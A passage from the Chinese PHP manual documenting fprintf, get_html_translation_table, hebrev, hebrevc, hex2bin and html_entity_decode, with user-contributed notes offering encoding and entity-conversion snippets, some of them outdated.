从 PHP 8.0.0 开始，如果参数个数为零，将抛出 ValueError。在 PHP 8.0.0 之前，会发出 E_WARNING。

从 PHP 8.0.0 开始，如果 [width] 小于零或大于 PHP_INT_MAX，则会抛出 ValueError。在 PHP 8.0.0 之前，会发出 E_WARNING。

从 PHP 8.0.0 开始，如果 [precision] 小于零或大于 PHP_INT_MAX，则会抛出 ValueError。在 PHP 8.0.0 之前，会发出 E_WARNING。

从 PHP 8.0.0 开始，当传递的参数少于所需的参数时会抛出 ArgumentCountError。在 PHP 8.0.0 之前，返回 false 并发出 E_WARNING。

更新日志

版本 | 说明
8.0.0 | 此函数失败时不再返回 false。
8.0.0 | 如果参数个数为零则抛出 ValueError；以前该函数则会发出 E_WARNING。
8.0.0 | 如果 [width] 小于零或大于 PHP_INT_MAX，则抛出 ValueError；以前该函数则会发出 E_WARNING。
8.0.0 | 如果 [precision] 小于零或大于 PHP_INT_MAX，则抛出 ValueError；以前该函数则会发出 E_WARNING。
8.0.0 | 当传递的参数少于所需的参数时抛出 ArgumentCountError；以前该函数则会发出 E_WARNING。

示例

Example #1 fprintf()：零填充整数

<?php
if (!($fp = fopen('date.txt', 'w'))) {
return;
}

fprintf($fp, "%04d-%02d-%02d", $year, $month, $day);
// 将格式化的 ISO 日期写入 date.txt
?>

Example #2 fprintf()：格式化货币

<?php
if (!($fp = fopen('currency.txt', 'w'))) {
return;
}

$money1 = 68.75;
$money2 = 54.35;
$money = $money1 + $money2;
// $money 将输出"123.1"
$len = fprintf($fp, '%01.2f', $money);
// 将"123.10"写入到 currency.txt

echo "wrote $len bytes to currency.txt";
// 使用 fprintf 的返回值来确定写入了多少字节
?>

参见

  • printf() - 输出格式化字符串
  • sprintf() - 返回格式化字符串
  • vprintf() - 输出格式化字符串
  • vsprintf() - 返回格式化字符串
  • vfprintf() - 将格式化字符串写入流
  • sscanf() - 根据指定格式解析输入的字符
  • fscanf() - 从文件中格式化输入
  • number_format() - 以千位分隔符方式格式化一个数字
  • date() - 格式化 Unix 时间戳

User Contributed Notes

Julien MOREAU 16-Jun-2021 08:57
If you use the command line interface (CLI SAPI), you may be interested by the 3 standard input/output streams (STDIN, STDOUT & STDERR) described at: https://www.php.net/manual/en/features.commandline.io-streams.php


返回使用 htmlspecialchars 和 htmlentities 后的转换表

  • ? fprintf
  • hebrev ?
  • PHP Manual
  • 字符串 函数
  • 返回使用 htmlspecialchars 和 htmlentities 后的转换表

get_html_translation_table

(PHP 4, PHP 5, PHP 7, PHP 8)

get_html_translation_table — 返回使用 htmlspecialchars() 和 htmlentities() 后的转换表

说明

get_html_translation_table(int $table = HTML_SPECIALCHARS, int $flags = ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401, string $encoding = "UTF-8"): array

get_html_translation_table() 将返回 htmlspecialchars() 和 htmlentities() 处理后的转换表。

Note:

特殊字符可以使用多种转换方式。 例如： " 可以被转换成 &quot;, &#34; 或者 &#x22. get_html_translation_table() 返回其中最常用的。

参数

table

有两个新的常量 (HTML_ENTITIES, HTML_SPECIALCHARS) 允许你指定你想要的表。

flags

A bitmask of one or more of the following flags, which specify which quotes the table will contain as well as which document type the table is for. The default is ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401.

可用的 flags 常量
常量名 | 说明
ENT_COMPAT | 表格将包含双引号但不包含单引号实体。
ENT_QUOTES | 表格将包含双引号和单引号实体。
ENT_NOQUOTES | 表格不包含双引号实体，也不包含单引号实体。
ENT_SUBSTITUTE | Replace invalid code unit sequences with a Unicode Replacement Character U+FFFD (UTF-8) or &#xFFFD; (otherwise) instead of returning an empty string.
ENT_HTML401 | HTML 4.01 表格。
ENT_XML1 | XML 1 表格。
ENT_XHTML | XHTML 表格。
ENT_HTML5 | HTML 5 表格。

encoding

要使用的编码。如果省略，则此参数的默认值是 UTF-8。

支持以下字符集：

支持的字符集列表
字符集 | 别名 | 描述
ISO-8859-1 | ISO8859-1 | 西欧，Latin-1
ISO-8859-5 | ISO8859-5 | Little used cyrillic charset (Latin/Cyrillic).
ISO-8859-15 | ISO8859-15 | 西欧，Latin-9。增加欧元符号，法语和芬兰语字母在 Latin-1(ISO-8859-1) 中缺失。
UTF-8 | ASCII 兼容的多字节 8 位 Unicode。
cp866 | ibm866, 866 | DOS 特有的西里尔编码。本字符集在 4.3.2 版本中得到支持。
cp1251 | Windows-1251, win-1251, 1251 | Windows 特有的西里尔编码。本字符集在 4.3.2 版本中得到支持。
cp1252 | Windows-1252, 1252 | Windows 特有的西欧编码。
KOI8-R | koi8-ru, koi8r | 俄语。本字符集在 4.3.2 版本中得到支持。
BIG5 | 950 | 繁体中文，主要用于中国台湾省。
GB2312 | 936 | 简体中文，中国国家标准字符集。
BIG5-HKSCS | 繁体中文，附带香港扩展的 Big5 字符集。
Shift_JIS | SJIS, 932 | 日语
EUC-JP | EUCJP | 日语
MacRoman | Mac OS 使用的字符串。
'' An empty string activates detection from script encoding (Zend multibyte), default_charset and current locale (see nl_langinfo() and setlocale()), in this order. Not recommended.

Note: 其他字符集没有认可。将会使用默认编码并抛出异常。

返回值

将转换表作为数组返回，原始字符为键，实体为值。

更新日志

版本 | 说明
8.1.0 | flags 从 ENT_COMPAT 更改为 ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401。

示例

Example #1 转换表示例

<?php
var_dump(get_html_translation_table(HTML_ENTITIES, ENT_QUOTES | ENT_HTML5));
?>

以上示例的输出类似于：

array(1510) {
  ["
"]=>
  string(9) "&NewLine;"
  ["!"]=>
  string(6) "&excl;"
  ["""]=>
  string(6) "&quot;"
  ["#"]=>
  string(5) "&num;"
  ["$"]=>
  string(8) "&dollar;"
  ["%"]=>
  string(8) "&percnt;"
  ["&"]=>
  string(5) "&amp;"
  ["'"]=>
  string(6) "&apos;"
  // ...
}

参见

  • htmlspecialchars() - 将特殊字符转换为 HTML 实体
  • htmlentities() - 将字符转换为 HTML 转义字符
  • html_entity_decode() - Convert HTML entities to their corresponding characters

User Contributed Notes

michael dot genesis at gmail dot com 12-Dec-2011 03:01
The fact that MS-word and some other sources use CP-1252, and that it is so close to Latin1 ('ISO-8859-1') causes a lot of confusion. What confused me the most was finding that mySQL uses CP-1252 by default.

You may run into trouble if you find yourself tempted to do something like this:
<?php
    $trans[chr(149)] = '&bull;';    // Bullet
    $trans[chr(150)] = '&ndash;';    // En Dash
    $trans[chr(151)] = '&mdash;';    // Em Dash
    $trans[chr(152)] = '&tilde;';    // Small Tilde
    $trans[chr(153)] = '&trade;';    // Trade Mark Sign
?>

Don't do it. DON'T DO IT!

You can use:
<?php
    $translationTable = get_html_translation_table(HTML_ENTITIES, ENT_NOQUOTES, 'WINDOWS-1252');
?>

or just convert directly:
<?php
    $output = htmlentities($input, ENT_NOQUOTES, 'WINDOWS-1252');
?>

But your web page is probably encoded UTF-8, and you probably don't really want CP-1252 text flying around, so fix the character encoding first:
<?php
    $output = mb_convert_encoding($input, 'UTF-8', 'WINDOWS-1252');
    $ouput = htmlentities($output);
?>
kevin at cwsmailbox dot xom 15-Sep-2010 09:55
Be careful using get_html_translation_table() in a loop, as it's very slow.
Kenneth Kin Lum 23-Sep-2008 05:54
to display the mapping on a webpage no matter what the server encoding is, this can be used

  echo "<pre>\n";
  echo htmlentities(print_r((get_html_translation_table(HTML_SPECIALCHARS)), true));
  echo htmlentities(print_r((get_html_translation_table(HTML_ENTITIES)), true));

since get_html_translation_table() actually gives the special chars in iso-8859-1 (Latin-1) encoding, so to see the tables correctly using

  print_r(get_html_translation_table(HTML_ENTITIES));

your server needs to give a HTTP header as iso-8859-1, unless you use header() or manually set the browser's encoding setting to iso-8859-1.  And you need to view the source of the page to see the mapping.  (except English version of IE 7 outputs the page source as iso-8859-1 anyway).
robertn972 at gmail dot com 22-Jul-2008 08:18
I found this useful in converting latin characters

<?php
function convertLatin1ToHtml($str) {
$allEntities = get_html_translation_table(HTML_ENTITIES, ENT_NOQUOTES);
$specialEntities = get_html_translation_table(HTML_SPECIALCHARS, ENT_NOQUOTES);
$noTags = array_diff($allEntities, $specialEntities);
$str = strtr($str, $noTags);
return $str;
}
?>
iain (duh) workingsoftware.com.au 07-Sep-2007 02:06
I wrote a quick little function for converting something like '&middot;' into '&#183;':

$to_convert = '&middot;';
$table = get_html_translation_table(HTML_ENTITIES);
$equiv = '&#'.ord(array_search($to_convert,$table)).';';
Maurizio Siliani at trident dot it 20-Jul-2007 08:43
If you have troubles (like me) getting data from ISO-8859-1 encoded forms where user copy and paste from word, this routine could be useful.
It adds to the standard get_html_translation_table the codes of the characters usually M$ Word replacs into typed text.
Otherwise those characters would never be displayed correctly in html output.

function get_html_translation_table_CP1252() {
    $trans = get_html_translation_table(HTML_ENTITIES);
    $trans[chr(130)] = '&sbquo;';    // Single Low-9 Quotation Mark
    $trans[chr(131)] = '&fnof;';    // Latin Small Letter F With Hook
    $trans[chr(132)] = '&bdquo;';    // Double Low-9 Quotation Mark
    $trans[chr(133)] = '&hellip;';    // Horizontal Ellipsis
    $trans[chr(134)] = '&dagger;';    // Dagger
    $trans[chr(135)] = '&Dagger;';    // Double Dagger
    $trans[chr(136)] = '&circ;';    // Modifier Letter Circumflex Accent
    $trans[chr(137)] = '&permil;';    // Per Mille Sign
    $trans[chr(138)] = '&Scaron;';    // Latin Capital Letter S With Caron
    $trans[chr(139)] = '&lsaquo;';    // Single Left-Pointing Angle Quotation Mark
    $trans[chr(140)] = '&OElig;    ';    // Latin Capital Ligature OE
    $trans[chr(145)] = '&lsquo;';    // Left Single Quotation Mark
    $trans[chr(146)] = '&rsquo;';    // Right Single Quotation Mark
    $trans[chr(147)] = '&ldquo;';    // Left Double Quotation Mark
    $trans[chr(148)] = '&rdquo;';    // Right Double Quotation Mark
    $trans[chr(149)] = '&bull;';    // Bullet
    $trans[chr(150)] = '&ndash;';    // En Dash
    $trans[chr(151)] = '&mdash;';    // Em Dash
    $trans[chr(152)] = '&tilde;';    // Small Tilde
    $trans[chr(153)] = '&trade;';    // Trade Mark Sign
    $trans[chr(154)] = '&scaron;';    // Latin Small Letter S With Caron
    $trans[chr(155)] = '&rsaquo;';    // Single Right-Pointing Angle Quotation Mark
    $trans[chr(156)] = '&oelig;';    // Latin Small Ligature OE
    $trans[chr(159)] = '&Yuml;';    // Latin Capital Letter Y With Diaeresis
    ksort($trans);
    return $trans;
}
Jér?me Jaglale 31-Dec-2006 11:43
htmlentities includes htmlspecialchars, so here's how to convert an UTF-8 string :
htmlentities($string, ENT_QUOTES, 'UTF-8');
Patrick nospam at nospam mesopia dot com 29-May-2005 07:00
Not sure what's going on here but I've run into a problem that others might face as well...

<?php

$translations = array_flip(get_html_translation_table(HTML_ENTITIES,ENT_QUOTES));

?>

returns the single quote ' as being equal to &#39; while

<?php

$translatedString = htmlentities($string,ENT_QUOTES);

?>
returns it as being equal to &#039;

I've had to do a specific string replacement for the time being... Not sure if it's an issue with the function or the array manipulation.

-Pat
Alex Minkoff 18-May-2005 04:30
If you want to display special HTML entities in a web browser, you can use the following code:

<?
$entities = get_html_translation_table(HTML_ENTITIES);
foreach ($entities as $entity) {
    $new_entities[$entity] = htmlspecialchars($entity);
}
echo "<pre>";
print_r($new_entities);
echo "</pre>";
?>

If you don't, the key name of each element will appear to be the same as the element content itself, making it look mighty stupid. ;)
kevin_bro at hostedstuff dot com 03-Jan-2003 06:06
Alans version didn't seem to work right. If you're having the same problem consider using this slightly modified version instead:

function unhtmlentities ($string)  {
   $trans_tbl = get_html_translation_table (HTML_ENTITIES);
   $trans_tbl = array_flip ($trans_tbl);
   $ret = strtr ($string, $trans_tbl);
   return preg_replace('/&#(\d+);/me',
      "chr('\\1')",$ret);
}
kumar at chicagomodular.com 28-Oct-2002 05:51
without heavy scientific analysis, this seems to work as a quick fix to making text originating from a Microsoft Word document display as HTML:

<?php
function DoHTMLEntities ($string)
    {
        $trans_tbl = get_html_translation_table (HTML_ENTITIES);

        // MS Word strangeness..
        // smart single/ double quotes:
        $trans_tbl[chr(145)] = '\'';
        $trans_tbl[chr(146)] = '\'';
        $trans_tbl[chr(147)] = '&quot;';
        $trans_tbl[chr(148)] = '&quot;';

                // Acute 'e'
        $trans_tbl[chr(142)] = '&eacute;';

        return strtr ($string, $trans_tbl);
    }
?>
alan at akbkhome dot com 03-Jun-2002 10:00
If you want to decode all those &#123; symbols as well....

function unhtmlentities ($string)  {
    $trans_tbl = get_html_translation_table (HTML_ENTITIES);
    $trans_tbl = array_flip ($trans_tbl);
    $ret = strtr ($string, $trans_tbl);
    return  preg_replace('/\&\#([0-9]+)\;/me',
        "chr('\\1')",$ret);
}
dirk at hartmann dot net 19-Jun-2001 01:41
get_html_translation_table
It works only with the first 256 Codepositions.
For Higher Positions, for Example &#1092;
(a kyrillic Letter) it shows the same.


将逻辑顺序希伯来文（logical-Hebrew）转换为视觉顺序希伯来文（visual-Hebrew）

  • ? get_html_translation_table
  • hebrevc ?
  • PHP Manual
  • 字符串 函数
  • 将逻辑顺序希伯来文（logical-Hebrew）转换为视觉顺序希伯来文（visual-Hebrew）

hebrev

(PHP 4, PHP 5, PHP 7, PHP 8)

hebrev — 将逻辑顺序希伯来文（logical-Hebrew）转换为视觉顺序希伯来文（visual-Hebrew）

说明

hebrev(string $string, int $max_chars_per_line = 0): string

将逻辑顺序希伯来文（logical-Hebrew）转换为视觉顺序希伯来文（visual-Hebrew）

函数将会尝试避免破坏单词。

参数

string

逻辑顺序希伯来文字符串。

max_chars_per_line

可选参数，表示每行可返回的最多字符数。

返回值

返回视觉顺序字符串。

参见

  • hebrevc() - 将逻辑顺序希伯来文（logical-Hebrew）转换为视觉顺序希伯来文（visual-Hebrew），并且转换换行符

User Contributed Notes

udioron at geeee mmmaaaaiiillll dotcom 01-Jan-2009 05:14
This might work for unicode strings:

<?php
$s = iconv("ISO-8859-8", "UTF-8", hebrev(iconv("UTF-8", "ISO-8859-8", $s)));
?>

Udi
tinko 14-Dec-2004 03:46
From my experience in using hebrev text in HTML, I prefer using

<html dir="rtl" lang="he">

over mentioned PHP functions. It works perfectly with IE 6 ... needs some tweaking in Mozilla though.

I found this site http://tlt.its.psu.edu/suggestions/international/web/tips/align.html useful.
socket at linuxloony dot net 03-Apr-2004 06:17
The hebrev function changes the string order to RTL.
Use fribidi_log2vis insted if you need LTR text direction
$text = fribidi_log2vis($text,FRIBIDI_LTR, FRIBIDI_CHARSET_CP1255)
zak at php dot net 09-Jan-2001 03:39
hebrev() changes the flow of any Hebrew characters in a string from right-to-left to left-to-right.

It only affects characters within the range of ASCII 224-251 (except for punctuation).


将逻辑顺序希伯来文（logical-Hebrew）转换为视觉顺序希伯来文（visual-Hebrew），并且转换换行符

  • ? hebrev
  • hex2bin ?
  • PHP Manual
  • 字符串 函数
  • 将逻辑顺序希伯来文（logical-Hebrew）转换为视觉顺序希伯来文（visual-Hebrew），并且转换换行符

hebrevc

(PHP 4, PHP 5, PHP 7)

hebrevc — 将逻辑顺序希伯来文（logical-Hebrew）转换为视觉顺序希伯来文（visual-Hebrew），并且转换换行符

Warning

本函数已自 PHP 7.4.0 起弃用，自 PHP 8.0.0 起移除。强烈建议不要依赖本函数。

说明

hebrevc(string $hebrew_text, int $max_chars_per_line = 0): string

本函数与hebrev() 一样，唯一的区别是 本函数会额外将换行符(\n)转换为"<br>\n"。

函数将会尝试避免破坏单词。

参数

hebrew_text

逻辑顺序希伯来文字符串。

max_chars_per_line

可选参数，表示每行可返回的最多字符数。

返回值

返回视觉顺序字符串。

参见

  • hebrev() - 将逻辑顺序希伯来文（logical-Hebrew）转换为视觉顺序希伯来文（visual-Hebrew）

User Contributed Notes

Oded 03-Jul-2009 03:57
If you want to use hebrevc with english,
just use strrev.
yfurman at yahoo dot com 10-Dec-2001 04:41
Beware of English use!
I was working on a little project, and used hebrevc to reverse Hebrew in a loop. The hebrevc function got a variable as an argument. Sometimes the variable was pure English and sometimes it was hebrew.
Suddenly I found out that the English too was cut with BR tags, which made it look funny - the last line was the first.

If you're going to use that function in mixed text, don't forget to check the language before using the function.

Yael


转换十六进制字符串为二进制字符串

  • ? hebrevc
  • html_entity_decode ?
  • PHP Manual
  • 字符串 函数
  • 转换十六进制字符串为二进制字符串

hex2bin

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

hex2bin — 转换十六进制字符串为二进制字符串

说明

hex2bin(string $string): string|false

转换十六进制字符串为二进制字符串。

Caution

这个函数不是 转换十六进制数字为二进制数字。这种转换可以使用base_convert() 函数。

参数

string

十六进制表示的数据

返回值

返回给定数据的二进制表示 或者在失败时返回 false。

错误／异常

如果输入的十六进制字符串是奇数长数或者无效的十六进制字符串将会抛出 E_WARNING 级别的错误。

示例

Example #1 hex2bin() 例子

<?php
$hex = hex2bin("6578616d706c65206865782064617461");
var_dump($hex);
?>

以上示例的输出类似于：

string(16) "example hex data"

参见

  • bin2hex() - 将二进制数据转换为十六进制表示
  • unpack() - Unpack data from binary string

User Contributed Notes

stanliwise at gmail dot com 21-Aug-2022 11:54
#error:
hex2bin(): Hexadecimal input string must have an even length

For those who are facing the error above trying to convert hex to bin. you can pad your hex string with initial 0 before hex2bin.

function hexPad(string $hex_string)
    {
        $st_l = strlen($hex_string);
        return str_pad($hex_string, $st_l + ($st_l % 2), '0', STR_PAD_LEFT);
    }

hexPad('1bc') -> '01bc';

for usage hex2bin(hexPad('1bc'));
nino at re-gister dot com 28-Oct-2021 03:16
if you want to convert a hex encoded string to a binary string without any notices/errors regardless of the input, use this function:

<?php

function hex2binary($str)
{
    return ctype_xdigit(strlen($str) % 2 ? "" : $str) ? hex2bin($str) : false;
}

hex2binary(""); // false
hex2binary("a"); // false
hex2binary("ab"); // binary-string

?>

if the return type is string, you have your binary-string. otherwise (bool) false.
omer dot lakraa at hotmail dot fr 03-Dec-2019 02:30
If you want to convert hex to GUID format (In my case, it was to convert GUID from MSSQL database) :

<?php
function hex2Guid($hex)
{
    $hex = [
        substr($hex, 0, 8),
        substr($hex, 8, 4),
        substr($hex, 12, 4),
        substr($hex, 16, 4),
        substr($hex, 20),
    ];

    $order[0] = [6, 7, 4, 5, 2, 3, 0, 1];
    $order[1] = [2, 3, 0, 1];
    $order[2] = [2, 3, 0, 1];
    $order[3] = [0, 1, 2, 3];
    $order[4] = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11];

    $result = "";

    for($num = 0; $num < count($order); $num++)
    {
        for($i = 0; $i < count($order[$num]); $i++)
        {
            $result .= $hex[$num][$order[$num][$i]];
        }

        if($num != count($order) -1)
        {
            $result .= "-";
        }
    }

    return strtoupper($result);
}

Example :
echo hex2Guid("64d3938b7008cd4bad5ffe56755d163f");

// return 8B93D364-0870-4BCD-AD5F-FE56755D163F
JLovrek 28-Nov-2017 02:14
replace

function Hex2Bin($data) {
    $BinData = "";
    for ($i=0;$i<strlen($data);$i+=2)
        $BinData .= chr( HexDec( substr($data,$i,2) ) );
    return $BinData;

With

function hextobin($hexstr)
    {
        $n = strlen($hexstr);
        $sbin="";
        $i=0;
        while($i<$n)
        {
            $a =substr($hexstr,$i,2);
            $c = pack("H*",$a);
            if ($i==0){$sbin=$c;}
            else {$sbin.=$c;}
            $i+=2;
        }
        return $sbin;
iradu at unix-world dot org 15-Jan-2016 01:38
$test = bin2hex('sample ...');
echo _hex2bin($test);

// another hex2bin replacement
function _hex2bin($result) {
    $out = '';
    for($c=0;$c<strlen($result);$c+=2) {
        $out .= chr(hexdec($result[$c].$result[$c+1]));
    } //end for
    return (string) $out;
}
EM 11-Jun-2014 10:14
Ran into an interesting case with hex2bin and php5.5.12 while upgrading from 5.3.3 -> 5.5.12

The previous code had redeclared the hex2bin function with the $binary_string = pack("H*" , $hex_string) trick.

php5.5.12 would have none of that. The solution, albeit a hacky one, was doing a find an replace of hex2bin to 'hex3bin' for the whole site directory.
carschrotter at gmail dot com 01-Nov-2013 02:19
Case of an incomplete hex string following function may help:
<?php
function make2validhex($data){
    $data = (string) $data;
    $len = strlen($data);
    if($len % 2) {
        return substr($data, 0, $len -1);
    }
    return $data;
}
?>
test:
<?php
$string="not complete";
echo $string;
echo PHP_EOL;
$hex = bin2hex($string); //"6e6f7420636f6d706c657465"
echo $hex;
echo PHP_EOL;
$deff = substr ($hex, 0, strlen($hex) -1);//"6e6f7420636f6d706c65746"
echo $deff;
echo PHP_EOL;
echo hex2bin(make2validhex($deff)); //"not complet"
echo PHP_EOL;
?>
walf 16-Oct-2013 04:41
A drop-in hex2bin emulator which behaves just like the the one in v5.5.1.

<?php
if (!function_exists('hex2bin')) {
    function hex2bin($data) {
        static $old;
        if ($old === null) {
            $old = version_compare(PHP_VERSION, '5.2', '<');
        }
        $isobj = false;
        if (is_scalar($data) || (($isobj = is_object($data)) && method_exists($data, '__toString'))) {
            if ($isobj && $old) {
                ob_start();
                echo $data;
                $data = ob_get_clean();
            }
            else {
                $data = (string) $data;
            }
        }
        else {
            trigger_error(__FUNCTION__.'() expects parameter 1 to be string, ' . gettype($data) . ' given', E_USER_WARNING);
            return;//null in this case
        }
        $len = strlen($data);
        if ($len % 2) {
            trigger_error(__FUNCTION__.'(): Hexadecimal input string must have an even length', E_USER_WARNING);
            return false;
        }
        if (strspn($data, '0123456789abcdefABCDEF') != $len) {
            trigger_error(__FUNCTION__.'(): Input string must be hexadecimal string', E_USER_WARNING);
            return false;
        }
        return pack('H*', $data);
    }
}
?>
jannik [dot] zappe [at] udo [dot] edu 23-Aug-2013 12:00
I modified the function by Johnson a bit so it can be used as a drop-in-replacement. You don't need to worry about upgrading php because when it is upgraded, it will use the build in function.

<?php
if ( !function_exists( 'hex2bin' ) ) {
    function hex2bin( $str ) {
        $sbin = "";
        $len = strlen( $str );
        for ( $i = 0; $i < $len; $i += 2 ) {
            $sbin .= pack( "H*", substr( $str, $i, 2 ) );
        }

        return $sbin;
    }
}
?>
Johnson 01-Jan-2013 12:23
For those who have php version prior to 5.4, i have a solution to convert hex to binary. It works for me in an encryption and decryption application.

<?php
        function hextobin($hexstr)
    {
        $n = strlen($hexstr);
        $sbin="";
        $i=0;
        while($i<$n)
        {
            $a =substr($hexstr,$i,2);
            $c = pack("H*",$a);
            if ($i==0){$sbin=$c;}
            else {$sbin.=$c;}
            $i+=2;
        }
        return $sbin;
    }
?>
jarismar dot php at gmail dot com 17-Dec-2012 01:13
A way to convert hex strings in the form "0x123ABC" to integer is to use the function base_convert("0x123ABC", 16, 10)
Anonymous 23-Feb-2012 02:28
The function pack("H*" , $hex_string); will not work as expected if $hex_string contains an odd number of hexadecimal digits.

For example:

<?php echo ord(pack("H*", 'F')); ?>

will return 240 not 15. Use pack("H*", '0F'); instead.
Anonymous 31-Aug-2011 01:32
The function hex2bin does not exist in PHP5.
You can use 'pack' instead :

$binary_string = pack("H*" , $hex_string);


Convert HTML entities to their corresponding characters

  • ? hex2bin
  • htmlentities ?
  • PHP Manual
  • 字符串 函数
  • Convert HTML entities to their corresponding characters

html_entity_decode

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

html_entity_decode — Convert HTML entities to their corresponding characters

说明

html_entity_decode(string $string, int $flags = ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401, ?string $encoding = null): string

html_entity_decode() is the opposite of htmlentities() in that it converts HTML entities in the string to their corresponding characters.

More precisely, this function decodes all the entities (including all numeric entities) that a) are necessarily valid for the chosen document type — i.e., for XML, this function does not decode named entities that might be defined in some DTD — and b) whose character or characters are in the coded character set associated with the chosen encoding and are permitted in the chosen document type. All other entities are left as is.

参数

string

The input string.

flags

A bitmask of one or more of the following flags, which specify how to handle quotes and which document type to use. The default is ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401.

Available flags constants
Constant Name | Description
ENT_COMPAT | Will convert double-quotes and leave single-quotes alone.
ENT_QUOTES | Will convert both double and single quotes.
ENT_NOQUOTES | Will leave both double and single quotes unconverted.
ENT_SUBSTITUTE | Replace invalid code unit sequences with a Unicode Replacement Character U+FFFD (UTF-8) or &#xFFFD; (otherwise) instead of returning an empty string.
ENT_HTML401 | Handle code as HTML 4.01.
ENT_XML1 | Handle code as XML 1.
ENT_XHTML | Handle code as XHTML.
ENT_HTML5 | Handle code as HTML 5.

encoding

An optional argument defining the encoding used when converting characters.

If omitted, encoding defaults to the value of the default_charset configuration option.

Although this argument is technically optional, you are highly encouraged to specify the correct value for your code if the default_charset configuration option may be set incorrectly for the given input.

支持以下字符集：

支持的字符集列表
字符集 | 别名 | 描述
ISO-8859-1 | ISO8859-1 | 西欧，Latin-1
ISO-8859-5 | ISO8859-5 | Little used cyrillic charset (Latin/Cyrillic).
ISO-8859-15 | ISO8859-15 | 西欧，Latin-9。增加欧元符号，法语和芬兰语字母在 Latin-1(ISO-8859-1) 中缺失。
UTF-8 | ASCII 兼容的多字节 8 位 Unicode。
cp866 | ibm866, 866 | DOS 特有的西里尔编码。本字符集在 4.3.2 版本中得到支持。
cp1251 | Windows-1251, win-1251, 1251 | Windows 特有的西里尔编码。本字符集在 4.3.2 版本中得到支持。
cp1252 | Windows-1252, 1252 | Windows 特有的西欧编码。
KOI8-R | koi8-ru, koi8r | 俄语。本字符集在 4.3.2 版本中得到支持。
BIG5 | 950 | 繁体中文，主要用于中国台湾省。
GB2312 | 936 | 简体中文，中国国家标准字符集。
BIG5-HKSCS | 繁体中文，附带香港扩展的 Big5 字符集。
Shift_JIS | SJIS, 932 | 日语
EUC-JP | EUCJP | 日语
MacRoman | Mac OS 使用的字符串。
'' An empty string activates detection from script encoding (Zend multibyte), default_charset and current locale (see nl_langinfo() and setlocale()), in this order. Not recommended.

Note: 其他字符集没有认可。将会使用默认编码并抛出异常。

返回值

Returns the decoded string.

更新日志

版本 | 说明
8.1.0 | flags changed from ENT_COMPAT to ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401.
8.0.0 | encoding is nullable now.

示例

Example #1 Decoding HTML entities

<?php
$orig = "I'll \"walk\" the <b>dog</b> now";

$a = htmlentities($orig);

$b = html_entity_decode($a);

echo $a; // I'll &quot;walk&quot; the &lt;b&gt;dog&lt;/b&gt; now

echo $b; // I'll "walk" the <b>dog</b> now
?>

注释

Note:

You might wonder why trim(html_entity_decode('&nbsp;')); doesn't reduce the string to an empty string, that's because the '&nbsp;' entity is not ASCII code 32 (which is stripped by trim()) but ASCII code 160 (0xa0) in the default ISO 8859-1 encoding.

参见

  • htmlentities() - 将字符转换为 HTML 转义字符
  • htmlspecialchars() - 将特殊字符转换为 HTML 实体
  • get_html_translation_table() - 返回使用 htmlspecialchars 和 htmlentities 后的转换表
  • urldecode() - 解码已编码的 URL 字符串

User Contributed Notes

Anonymous 01-Mar-2021 03:30
Why doesn't the html_entity_decode() function convert entities without the last semicolon (like &#x41 or &#65) to characters?

---
<?php
echo 'like &#x41 or &#65';
---

Browser displays fine:
----
like A or A
Daniel A. 03-Aug-2018 03:34
I wanted to use this function today and I found the documentation, especially about the flags, not particularly helpful.

Running the code below, for example, failed because the flag I used was the wrong one...

$string = 'Donna&#039;s Bakery';
$title = html_entity_decode($string, ENT_HTML401, 'UTF-8');
echo $title;

The correct flag to use in this case is ENT_QUOTES.

My understanding of the flag to use is the one that would correspond to the expected, converted outcome. So, ENT_QUOTES for a character that would be a single or double quote when converted... and so on.

Please help make the documentation a bit clearer.
slickriptide at gmail dot com 07-Oct-2016 03:54
When using this function, it's a good idea to pay attention when it says that leaving the charset parameter empty is "not recommended".

I had an issue where I was storing text files, with entities converted, into a database. When I retrieved them later and ran

$text_file = html_entity_decode($text_data);

the entities were NOT decoded.

Once I was aware of the problem, I changed the decode call to fully specify all of the parameters:

$text_file = html_entity_decode($text_data, ENT_COMPAT | ENT_HTML5,'utf-8');

This converted the entities as expected.
txnull 25-Aug-2015 08:06
Use the following to decode all entities:
<?php html_entity_decode($string, ENT_QUOTES | ENT_XML1, 'UTF-8') ?>

I've checked these special entities:
- double quotes (&#34;)
- single quotes (&#39; and &apos;)
- non printable chars (e.g. &#13;)
With other $flags some or all won't be decoded.

It seems that ENT_XML1 and ENT_XHTML are identical when decoding.
Benjamin 05-Apr-2013 11:07
The following function decodes named and numeric HTML entities and works on UTF-8. Requires iconv.

function decodeHtmlEnt($str) {
    $ret = html_entity_decode($str, ENT_COMPAT, 'UTF-8');
    $p2 = -1;
    for(;;) {
        $p = strpos($ret, '&#', $p2+1);
        if ($p === FALSE)
            break;
        $p2 = strpos($ret, ';', $p);
        if ($p2 === FALSE)
            break;

        if (substr($ret, $p+2, 1) == 'x')
            $char = hexdec(substr($ret, $p+3, $p2-$p-3));
        else
            $char = intval(substr($ret, $p+2, $p2-$p-2));

        //echo "$char\n";
        $newchar = iconv(
            'UCS-4', 'UTF-8',
            chr(($char>>24)&0xFF).chr(($char>>16)&0xFF).chr(($char>>8)&0xFF).chr($char&0xFF)
        );
        //echo "$newchar<$p<$p2<<\n";
        $ret = substr_replace($ret, $newchar, $p, 1+$p2-$p);
        $p2 = $p + strlen($newchar);
    }
    return $ret;
}
Victor 14-Dec-2011 06:22
We were having very peculiar behavior regarding foreign characters such as e-acute.

However, it was only showing up as a problem when extracting those characters out of our mysql database and when being displayed through a proxy server of ours that handles dns issues.

As other users have made a note of, the default character setting wasn't what they were expecting it to be when they left theirs blank.

When we changed our default_charset to "UTF-8", our problems and needs for using functions like these were no longer necessary in handling foreign characters such as e-acute. Good enough for us!
Martin 26-Jun-2011 04:37
If you need something that converts &#[0-9]+ entities to UTF-8, this is simple and works:

<?php
/* Entity crap. /
$input = "Fovi&#269;";

$output = preg_replace_callback("/(&#[0-9]+;)/", function($m) { return mb_convert_encoding($m[1], "UTF-8", "HTML-ENTITIES"); }, $input);

/* Plain UTF-8. */
echo $output;
?>
neurotic dot neu at gmail dot com 10-Aug-2010 12:25
